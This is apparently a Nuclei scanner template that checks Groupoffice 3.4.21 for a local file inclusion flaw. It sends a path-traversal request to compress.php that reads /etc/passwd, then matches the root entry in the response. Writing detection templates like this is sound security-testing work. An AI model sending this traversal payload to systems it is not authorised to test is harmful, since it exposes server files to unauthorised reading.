id: groupoffice-lfi

info:
  name: Groupoffice 3.4.21 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Groupoffice 3.4.21 is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2018020249
    - http://www.group-office.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: groupoffice,lfi,traversal,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/compress.php?file=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e7c2b1398046a72998cc16c601dd9ecde25035779d15cb45d5835e9df0c783de022100838f5fa3908410b8d3bce8d0e7c3de9d25871220c88452b3935df3f40b87f0a8:922c64590222798bb761d5b6d8e72950